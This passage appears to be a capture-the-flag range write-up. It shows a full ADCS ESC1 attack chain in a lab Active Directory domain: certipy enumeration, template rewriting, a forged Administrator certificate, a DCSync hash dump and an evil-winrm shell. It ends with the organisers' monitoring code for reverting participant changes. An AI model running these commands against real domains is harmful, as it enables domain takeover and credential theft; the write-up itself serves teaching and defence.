SMB 10.5.10.13 445 SRV01 [+] backward.rv\gatari$:P@ssw0rd (Pwn3d!)
LSASSY 10.5.10.13 445 SRV01 Saved 16 Kerberos ticket(s) to /home/kali/.nxc/modules/lsassy
LSASSY 10.5.10.13 445 SRV01 backward\iqbal.hassan dfd368bc95bd217c04415fed81c8933e
We can verify that these credentials are valid for the domain with nxc
:
~$ nxc ldap dc02.backward.rv -u 'iqbal.hassan' -H 'dfd368bc95bd217c04415fed81c8933e'
LDAP 10.5.10.12 389 DC02 [*] Windows Server 2022 Build 20348 (name:DC02) (domain:backward.rv) (signing:None) (channel binding:Never)
LDAP 10.5.10.12 389 DC02 [+] backward.rv\iqbal.hassan:dfd368bc95bd217c04415fed81c8933e
In modern Active Directory environments, it’s common to find Active Directory Certificate Services (ADCS) deployed. ADCS is often used internally for issuing certificates for various purposes, such as provisioning TLS
certificates for web servers - and these certificates are also used for LDAPS
(LDAP over SSL/TLS) connections.
We can enumerate for the presence of ADCS
by looking for the pKIEnrollmentService
object class in LDAP
:
~$ nxc ldap dc02.backward.rv -u 'iqbal.hassan' -H 'dfd368bc95bd217c04415fed81c8933e' --query "(objectClass=pKIEnrollmentService)" "cn dNSHostName" --base-dn 'CN=Configuration,DC=backward,DC=rv'
LDAP 10.5.10.12 389 DC02 [*] Windows Server 2022 Build 20348 (name:DC02) (domain:backward.rv) (signing:None) (channel binding:Never)
LDAP 10.5.10.12 389 DC02 [+] backward.rv\iqbal.hassan:dfd368bc95bd217c04415fed81c8933e
LDAP 10.5.10.12 389 DC02 [+] Response for object: CN=BACKWARD-ENTERPRISE-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=backward,DC=rv
LDAP 10.5.10.12 389 DC02 cn BACKWARD-ENTERPRISE-CA
LDAP 10.5.10.12 389 DC02 dNSHostName DC02.backward.rv
We’ll find that ADCS
is deployed in backward.rv
, with the Certificate Authority (CA)
role installed on dc02.backward.rv
. Additionally, the Common Name (CN)
of the CA
is BACKWARD-ENTERPRISE-CA
.
The “go-to” tool for ADCS
enumeration is certipy, we can use this to list all the certificate templates that are available for enrollment:
~$ certipy find -u 'iqbal.hassan' -hashes ':dfd368bc95bd217c04415fed81c8933e' -dc-host 'dc02.backward.rv' -stdout -enabled | grep 'Template Name' | awk -F': ' '{print $2}'
Certipy v5.0.3 - by Oliver Lyak (ly4k)
BackwardDev
BackwardUser
KerberosAuthentication
DirectoryEmailReplication
DomainControllerAuthentication
SubCA
WebServer
DomainController
Machine
EFSRecovery
Administrator
EFS
User
Most of these templates are enabled by default, such as User
, Machine
, and DomainController
. However, there are some non-default templates that are also enabled, such as BackwardDev
and BackwardUser
.
Templates with the Client Authentication
purpose can be used to authenticate to services, similar to how we did earlier with plaintext credentials. An example of such a template is the User
built-in template:
~$ certipy find -u 'iqbal.hassan' -hashes ':dfd368bc95bd217c04415fed81c8933e' -dc-host 'dc02.backward.rv' -stdout -enabled
[...snip...]
12
Template Name : User
Display Name : User
Certificate Authorities : BACKWARD-ENTERPRISE-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
SubjectAltRequireEmail
SubjectRequireEmail
SubjectRequireDirectoryPath
Enrollment Flag : IncludeSymmetricAlgorithms
PublishToDs
AutoEnrollment
Private Key Flag : ExportableKey
Extended Key Usage : Encrypting File System
Secure Email
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 1
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2025-08-30T08:43:21+00:00
Template Last Modified : 2025-08-30T08:43:21+00:00
Permissions
Enrollment Permissions
Enrollment Rights : BACKWARD.RV\Domain Admins
BACKWARD.RV\Domain Users
BACKWARD.RV\Enterprise Admins
Object Control Permissions
Owner : BACKWARD.RV\Enterprise Admins
Full Control Principals : BACKWARD.RV\Domain Admins
BACKWARD.RV\Enterprise Admins
Write Owner Principals : BACKWARD.RV\Domain Admins
BACKWARD.RV\Enterprise Admins
Write Dacl Principals : BACKWARD.RV\Domain Admins
BACKWARD.RV\Enterprise Admins
Write Property Enroll : BACKWARD.RV\Domain Admins
BACKWARD.RV\Domain Users
BACKWARD.RV\Enterprise Admins
[+] User Enrollable Principals : BACKWARD.RV\Domain Users
[...snip...]
By default, all domain users can enroll for this template. We can use certipy
to request a certificate for the iqbal.hassan
user:
~$ certipy req -u 'iqbal.hassan' -hashes ':dfd368bc95bd217c04415fed81c8933e' -dc-host 'dc02.backward.rv' -ca 'BACKWARD-ENTERPRISE-CA' -template 'User'
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: dc02.backward.rv.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 4
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'iqbal.hassan.pfx'
[*] Wrote certificate and private key to 'iqbal.hassan.pfx'
This PFX
file contains both the certificate and the private key, which we can use to authenticate to services that support PKI (Public Key Infrastructure)
authentication, such as LDAP
:
~$ nxc ldap dc02.backward.rv -u 'iqbal.hassan' --pfx-cert iqbal.hassan.pfx -M whoami
LDAP 10.5.10.12 389 DC02 [*] Windows Server 2022 Build 20348 (name:DC02) (domain:backward.rv) (signing:None) (channel binding:Never)
LDAP 10.5.10.12 389 DC02 [+] backward.rv\iqbal.hassan:dfd368bc95bd217c04415fed81c8933e
WHOAMI 10.5.10.12 389 DC02 Name: Iqbal Hassan
WHOAMI 10.5.10.12 389 DC02 sAMAccountName: iqbal.hassan
WHOAMI 10.5.10.12 389 DC02 Enabled: Yes
WHOAMI 10.5.10.12 389 DC02 Password Never Expires: No
WHOAMI 10.5.10.12 389 DC02 Last logon: 2025-09-08 15:18:05 UTC
WHOAMI 10.5.10.12 389 DC02 Password Last Set: 2025-08-28 19:17:07 UTC
WHOAMI 10.5.10.12 389 DC02 Bad Password Count: 0
WHOAMI 10.5.10.12 389 DC02 Distinguished Name: CN=Iqbal Hassan,CN=Users,DC=backward,DC=rv
WHOAMI 10.5.10.12 389 DC02 Member of: CN=CA-Test,CN=Users,DC=backward,DC=rv
WHOAMI 10.5.10.12 389 DC02 User SID: S-1-5-21-2163652167-2436585246-2491459670-1109
The BackwardUser
template is a custom template that was created in this environment. It has the Client Authentication
purpose, and the iqbal.hassan
user is allowed to enroll for it:
~$ certipy find -u 'iqbal.hassan' -hashes ':dfd368bc95bd217c04415fed81c8933e' -dc-host 'dc02.backward.rv' -stdout -enabled | grep 'BackwardUser' -A 20
Certipy v5.0.3 - by Oliver Lyak (ly4k)
Template Name : BackwardUser
Display Name : Backward User
Certificate Authorities : BACKWARD-ENTERPRISE-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Extended Key Usage : Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2025-08-30T08:43:39+00:00
Template Last Modified : 2025-08-30T08:43:40+00:00
If we compare this to the User
template, we’ll notice that the Enrollee Supplies Subject
property is set to True
. This means that the user can specify the Subject
of the certificate, which includes the Common Name (CN)
and User Principal Name (UPN)
.
This misconfiguration is critical, as it allows any user to enroll for a certificate but specifying the Subject
as any other user in the domain. The “Supply in the request” option is often used in scenarios where the certificate requester needs to specify a particular identity, such as when a service account or application requires a certificate with a specific Common Name (CN)
or User Principal Name (UPN)
that differs from the requester’s own identity.
It is worth mentioning that when attempting to check this box, a warning message is displayed. As a result, you really do need to intentionally select this option and ignore the security warning. Despite the warning, this is still a common configuration setting that is required by some applications.
And yet,
ESC1
is the most common misconfiguration encountered inADCS
environments.
We can use certipy
to request a certificate for the iqbal.hassan
user, but artificially setting the userPrincipalName (UPN)
to [email protected]
:
~$ certipy req -u 'iqbal.hassan' -hashes ':dfd368bc95bd217c04415fed81c8933e' -dc-host 'dc02.backward.rv' -ca 'BACKWARD-ENTERPRISE-CA' -upn '[email protected]' -template 'BackwardUser'
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: dc02.backward.rv.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 11
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
We can then use this PFX
file to authenticate to LDAP
as Administrator
:
~$ nxc ldap dc02.backward.rv -u 'Administrator' --pfx-cert administrator.pfx
LDAP 10.5.10.12 389 DC02 [*] Windows Server 2022 Build 20348 (name:DC02) (domain:backward.rv) (signing:None) (channel binding:Never)
LDAP 10.5.10.12 389 DC02 [+] backward.rv\Administrator:d0e0677333c1c1e80a537d580b158509 (Pwn3d!)
As we did earlier in DCSync Attack, we can use nxc
to perform a DCSync
attack to obtain the NTLM
hash of the Administrator
user:
~$ nxc smb dc02.backward.rv -u 'Administrator' --pfx-cert administrator.pfx --ntds --user 'Administrator'
SMB 10.5.10.12 445 DC02 [*] Windows Server 2022 Build 20348 x64 (name:DC02) (domain:backward.rv) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.5.10.12 445 DC02 [+] backward.rv\Administrator:d0e0677333c1c1e80a537d580b158509 (Pwn3d!)
SMB 10.5.10.12 445 DC02 [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 10.5.10.12 445 DC02 Administrator:500:aad3b435b51404eeaad3b435b51404ee:d0e0677333c1c1e80a537d580b158509:::
And lastly, we can use these credentials with evil-winrm
to grab the final flag on dc02.backward.rv
:
~$ evil-winrm -i dc02.backward.rv -u 'Administrator' -H 'd0e0677333c1c1e80a537d580b158509'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat C:\Users\Administrator\Desktop\flag8.txt
RV{adCs_1$_!NcreD!8Ly_DAN93ROu$_b9d9130b50d9cbcf8d9250c2c8e61385}
The BackwardDev
template is another custom template that was created in this environment. It has the Client Authentication
purpose, and the iqbal.hassan
user is allowed to enroll for it:
~$ certipy find -u 'iqbal.hassan' -hashes ':dfd368bc95bd217c04415fed81c8933e' -dc-host 'dc02.backward.rv' -stdout -enabled | grep 'BackwardDev' -A 60
Certipy v5.0.3 - by Oliver Lyak (ly4k)
Template Name : BackwardDev
Display Name : Backward Dev
Certificate Authorities : BACKWARD-ENTERPRISE-CA
Enabled : True
Client Authentication : False
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
SubjectRequireEmail
SubjectRequireDirectoryPath
Enrollment Flag : IncludeSymmetricAlgorithms
PendAllRequests
PublishToDs
AutoEnrollment
Private Key Flag : ExportableKey
Extended Key Usage : Code Signing
Requires Manager Approval : True
Requires Key Archival : False
RA Application Policies : Any Purpose
Authorized Signatures Required : 1
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 4096
Template Created : 2025-08-30T08:43:45+00:00
Template Last Modified : 2025-08-30T08:43:47+00:00
Permissions
Enrollment Permissions
Enrollment Rights : BACKWARD.RV\CA-Test
Object Control Permissions
Owner : BACKWARD.RV\Enterprise Admins
Full Control Principals : BACKWARD.RV\CA-Test
BACKWARD.RV\Domain Admins
BACKWARD.RV\Local System
BACKWARD.RV\Enterprise Admins
Write Owner Principals : BACKWARD.RV\CA-Test
BACKWARD.RV\Domain Admins
BACKWARD.RV\Local System
BACKWARD.RV\Enterprise Admins
Write Dacl Principals : BACKWARD.RV\CA-Test
BACKWARD.RV\Domain Admins
BACKWARD.RV\Local System
BACKWARD.RV\Enterprise Admins
Write Property Enroll : BACKWARD.RV\CA-Test
We’ll find that, unlike BackwardUser
, this template does not have the Enrollee Supplies Subject
property set to True
. We also notice that the BACKWARD.RV\CA-Test
group is a non-default group that has been granted enrollment rights, and Full Control on the template.
The iqbal.hassan
user is a member of the CA-Test
group, which grants him full control over the BackwardDev
template.
~$ nxc ldap dc02.backward.rv -u 'iqbal.hassan' -H 'dfd368bc95bd217c04415fed81c8933e' -M whoami
LDAP 10.5.10.12 389 DC02 [*] Windows Server 2022 Build 20348 (name:DC02) (domain:backward.rv) (signing:None) (channel binding:Never)
LDAP 10.5.10.12 389 DC02 [+] backward.rv\iqbal.hassan:dfd368bc95bd217c04415fed81c8933e
WHOAMI 10.5.10.12 389 DC02 Name: Iqbal Hassan
WHOAMI 10.5.10.12 389 DC02 sAMAccountName: iqbal.hassan
WHOAMI 10.5.10.12 389 DC02 Enabled: Yes
WHOAMI 10.5.10.12 389 DC02 Password Never Expires: No
WHOAMI 10.5.10.12 389 DC02 Last logon: 2025-09-08 15:38:32 UTC
WHOAMI 10.5.10.12 389 DC02 Password Last Set: 2025-08-28 19:17:07 UTC
WHOAMI 10.5.10.12 389 DC02 Bad Password Count: 0
WHOAMI 10.5.10.12 389 DC02 Distinguished Name: CN=Iqbal Hassan,CN=Users,DC=backward,DC=rv
WHOAMI 10.5.10.12 389 DC02 Member of: CN=CA-Test,CN=Users,DC=backward,DC=rv
WHOAMI 10.5.10.12 389 DC02 User SID: S-1-5-21-2163652167-2436585246-2491459670-1109
With full control over the BackwardDev
template, we can modify its properties. One of the properties we can change is the Enrollee Supplies Subject
property, which we can set to True
. This will make the BackwardDev
template behave similarly to the BackwardUser
template, thereby being vulnerable to ESC1
.
We can use certipy
to modify the template, and keep a copy of the original template in case we need to revert the changes later. The -write-default-configuration
flag can be used to apply an ESC1
configuration to the template:
~$ certipy template --help
[...snip...]
-write-default-configuration
Apply the default Certipy ESC1 configuration to the certificate template. This configures the template to be vulnerable to ESC1 attack.
[...snip...]
Now, we can apply the ESC1
configuration to the BackwardDev
template:
~$ certipy template -u 'iqbal.hassan' -hashes ':dfd368bc95bd217c04415fed81c8933e' -dc-host 'dc02.backward.rv' -template 'BackwardDev' -write-default-configuration
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: dc02.backward.rv.
[!] Use -debug to print a stacktrace
[*] Saving current configuration to 'BackwardDev.json'
[*] Wrote current configuration for 'BackwardDev' to 'BackwardDev.json'
[*] Updating certificate template 'BackwardDev'
[*] Deleting:
[*] msPKI-RA-Application-Policies: []
[*] Replacing:
[*] nTSecurityDescriptor: b'\x01\x00\x04\x9c0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x02\x00\x1c\x00\x01\x00\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00'
[*] flags: 66104
[*] pKIDefaultKeySpec: 2
[*] pKIKeyUsage: b'\x86\x00'
[*] pKIMaxIssuingDepth: -1
[*] pKICriticalExtensions: ['2.5.29.19', '2.5.29.15']
[*] pKIExtendedKeyUsage: ['1.3.6.1.5.5.7.3.2']
[*] msPKI-RA-Signature: 0
[*] msPKI-Enrollment-Flag: 0
[*] msPKI-Private-Key-Flag: 16
[*] msPKI-Certificate-Name-Flag: 1
[*] msPKI-Minimal-Key-Size: 2048
[*] msPKI-Certificate-Application-Policy: ['1.3.6.1.5.5.7.3.2']
Are you sure you want to apply these changes to 'BackwardDev'? (y/N): y
[*] Successfully updated 'BackwardDev'
We can verify that the Enrollee Supplies Subject
property has been set to True
:
~$ certipy find -u 'iqbal.hassan' -hashes ':dfd368bc95bd217c04415fed81c8933e' -dc-host 'dc02.backward.rv' -stdout -enabled | grep 'BackwardDev' -A 20
Certipy v5.0.3 - by Oliver Lyak (ly4k)
Template Name : BackwardDev
Display Name : Backward Dev
Certificate Authorities : BACKWARD-ENTERPRISE-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Just like we did with BackwardUser
, we can now request a certificate for the iqbal.hassan
user, but artificially setting the userPrincipalName (UPN)
to [email protected]
:
~$ certipy req -u 'iqbal.hassan' -hashes ':dfd368bc95bd217c04415fed81c8933e' -dc-host 'dc02.backward.rv' -ca 'BACKWARD-ENTERPRISE-CA' -upn '[email protected]' -template 'BackwardDev'
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: dc02.backward.rv.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 12
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
We can then use this PFX
file to authenticate to LDAP
as Administrator
, from which we can do exactly what we did in Path 1: ESC1 to get the final flag:
~$ nxc ldap dc02.backward.rv -u 'Administrator' --pfx-cert administrator.pfx
LDAP 10.5.10.12 389 DC02 [*] Windows Server 2022 Build 20348 (name:DC02) (domain:backward.rv) (signing:None) (channel binding:Never)
LDAP 10.5.10.12 389 DC02 [+] backward.rv\Administrator:d0e0677333c1c1e80a537d580b158509 (Pwn3d!)
As we have modified the BackwardDev
template, it is good practice to revert the changes to avoid leaving the environment in a vulnerable state. We can use the saved configuration file BackwardDev.json
to restore the original settings of the template:
~$ certipy template -u 'iqbal.hassan' -hashes ':dfd368bc95bd217c04415fed81c8933e' -dc-host 'dc02.backward.rv' -template 'BackwardDev' -write-configuration BackwardDev.json
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: dc02.backward.rv.
[!] Use -debug to print a stacktrace
[*] Saving current configuration to 'BackwardDev.json'
File 'BackwardDev.json' already exists. Overwrite? (y/n - saying no will save with a unique filename): n
[*] Wrote current configuration for 'BackwardDev' to 'BackwardDev_ffca128e-e91d-4e24-bbfd-6ecfcb17a869.json'
[*] Updating certificate template 'BackwardDev'
[*] Adding:
[*] msPKI-RA-Application-Policies: ['2.5.29.37.0']
[*] Replacing:
[*] nTSecurityDescriptor: b'\x01\x00\x04\x8c\x0c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x04\x00\xf8\x00\x07\x00\x00\x00\x05\x008\x00\x00\x01\x00\x00\x01\x00\x00\x00h\xc9\x10\x0e\xfbx\xd2\x11\x90\xd4\x00\xc0Oy\xdcU\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00G\xb6\xf6\x80\x1eW;\x91V\xa8\x80\x94D\x06\x00\x00\x00\x00$\x00\xff\x01\x0f\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00G\xb6\xf6\x80\x1eW;\x91V\xa8\x80\x94\x00\x02\x00\x00\x00\x00$\x00\xff\x01\x0f\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00G\xb6\xf6\x80\x1eW;\x91V\xa8\x80\x94D\x06\x00\x00\x00\x00\x14\x00\x94\x00\x02\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x05\x12\x00\x00\x00\x00\x12$\x00\xff\x01\x0f\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00G\xb6\xf6\x80\x1eW;\x91V\xa8\x80\x94\x07\x02\x00\x00\x00\x12$\x00\xbd\x01\x0f\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00G\xb6\xf6\x80\x1eW;\x91V\xa8\x80\x94\x00\x02\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00G\xb6\xf6\x80\x1eW;\x91V\xa8\x80\x94\x07\x02\x00\x00'
[*] flags: 131642
[*] pKIDefaultKeySpec: 1
[*] pKIKeyUsage: b'\xa0\x00'
[*] pKIMaxIssuingDepth: 0
[*] pKICriticalExtensions: ['2.5.29.15']
[*] pKIExtendedKeyUsage: ['1.3.6.1.5.5.7.3.3']
[*] msPKI-RA-Signature: 1
[*] msPKI-Enrollment-Flag: 43
[*] msPKI-Private-Key-Flag: 16842768
[*] msPKI-Certificate-Name-Flag: -1577058304
[*] msPKI-Minimal-Key-Size: 4096
[*] msPKI-Certificate-Application-Policy: ['1.3.6.1.5.5.7.3.3']
Are you sure you want to apply these changes to 'BackwardDev'? (y/N): y
[*] Successfully updated 'BackwardDev'
We can verify that the Enrollee Supplies Subject
property has been reverted to False
:
~$ certipy find -u 'iqbal.hassan' -hashes ':dfd368bc95bd217c04415fed81c8933e' -dc-host 'dc02.backward.rv' -stdout -enabled | grep 'BackwardDev' -A 20
Certipy v5.0.3 - by Oliver Lyak (ly4k)
Template Name : BackwardDev
Display Name : Backward Dev
Certificate Authorities : BACKWARD-ENTERPRISE-CA
Enabled : True
Client Authentication : False
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
In the 2 previous conferences that we sponsored this year, we presented similar ranges: SINCON 2025, and Off-By-One 2025. In both of these conferences, we mainly focused on ensuring that the labs had the necessary guardrails to ensure that unintended solutions were not possible.
The effort was not in vain, as we observed that the majority of participants followed the intended paths. However, we did notice that a few participants were piggybacking off other participants’ solutions, which led to some confusion. This is a common occurrence in Capture The Flag (CTF) events, where participants share the same network environment - referred to as “griefing”.
There are a number of ways that participants can piggyback off each other, such as:
ADCS
templates, without reverting the changesThis is not an easy problem to solve, especially in a live event where participants are actively trying to break into the environment. Instead of focusing on preventing unintended solutions, we placed a heavy emphasis on preventing these disruptions this time around.
A path that participants may have tried, was to add the jolene.ong
user to the Senior Developers
group rather than creating a new user. This would have essentially “broken” the intended path, as the next participant would no longer have to abuse this GenericAll
ACE.
In a fixed environment, it is trivial to identify the “default” users present in the environment. For example, in antennae.rv
, we know that the Senior Developers
group initially only contains 2 members. And as such, we can continually monitor the membership of this group, and remove any unexpected members.
@healthcheck
def check_group_mem_senior_developers(ctx: Context) -> "TestResult":
ctx.logger.info("Checking group membership for senior-developers...")
config = ctx.config
cred = config.get_credential("antennae_da")
members = ad.get_group_membership(
cfg=config,
group_name="Senior Developers",
dc_hostname="dc01",
identifier=cred.id,
)
original_members = [
"wei.jie.tan",
"danish.hakim",
]
disruptive_members = [m for m in members if m not in original_members]
# more filtering can be done here, such as ignoring users that are known to be created by participants
# e.g. disruptive_members = [m for m in disruptive_members if not m.startswith("rvctf2025-")]
if disruptive_members:
ctx.logger.warning(f"Disruptive members found in senior-developers: {', '.join(disruptive_members)}")
cmd = f"""
$group = "senior-developers"
$members = @({', '.join([f'"{m}"' for m in disruptive_members])})
foreach ($member in $members)
""".strip()
output = execute_command_winrm(
server="dc01.antennae.rv",
username=cred.username,
password=cred.password,
command=cmd
).strip()
# do more stuff...
Of course, this can be extended to monitor anything else that is relevant to the environment - for example, ensuring that essential files are not modified, such that the next participant can still complete the challenge.
@healthcheck
def check_wjt_ps_history(ctx: Context) -> "TestResult":
config = ctx.config
cred = config.get_credential("wei.jie.tan")
output = execute_command_ssh(
server="sql01.antennae.rv",
username=cred.username,
password=cred.password,
command="Get-Content (Get-PSReadlineOption).HistorySavePath"
).strip()
expected = r"""
sqlcmd -S localhost -U "svc_sql" -P "P@ssw0rd_f0r_SQL-antennae" -Q "EXEC sp_helpdb;"
"""
if expected.strip() not in output:
# uh oh, the challenge is not solvable anymore!
# do stuff... maybe revert the changes?
Automating these checks can help to ensure that the environment remains in a consistent state, and that participants can complete the challenges as intended. Additionally, when handling these events in person, it’s not easy to monitor the environment manually, especially when there are many participants. Automating these checks can help to reduce the workload on the event organizers, allowing them to focus on other aspects of the event.
Many of these engineering efforts were done when designing the W200 course, to ensure that the labs remain in a consistent state. Additionally, should any learner accidentally break the lab, we can monitor and revert the changes automatically, ensuring uptime even during weekends or non-working hours,
Another measure that can be done is taking a snapshot of the current LDAP
state, and periodically checking for any changes and reverting them back. An example is the following snippet from our internal libraries that can used to monitor these changes
def compare_snapshots(
self, current_snapshot: Dict[str, Dict[str, Any]]
) -> List[LDAPChange]:
changes = []
timestamp = datetime.now()
# [...snip...]
current_attrs = current_snapshot[dn]
all_attrs = set(self.baseline_attrs.keys()) | set(current_attrs.keys())
for attr in all_attrs:
baseline_value = self.baseline_attrs.get(attr)
current_value = current_attrs.get(attr)
# handle modifications in `member` attributes
if attr == "member":
baseline_members = set(baseline_value) if baseline_value else set()
current_members = set(current_value) if current_value else set()
added_members = current_members - baseline_members
removed_members = baseline_members - current_members
# someone added members to a group
for member in added_members:
changes.append(
LDAPChange(
change_type=ChangeType.MEMBER_ADDED,
dn=dn,
attribute="member",
old_value=None,
new_value=member,
timestamp=timestamp,
)
)
This can be manually extended to monitor for all other attributes that are relevant to the environment, such as the userAccountControl
, msDS-AllowedToDelegateTo
, etc.
Overall, we found that the event was a great success, with many participants enjoying the challenges and learning new skills. Partnering with The Range Village once again was a pleasure, and we’re more than happy to help out with communiy-driven events like these.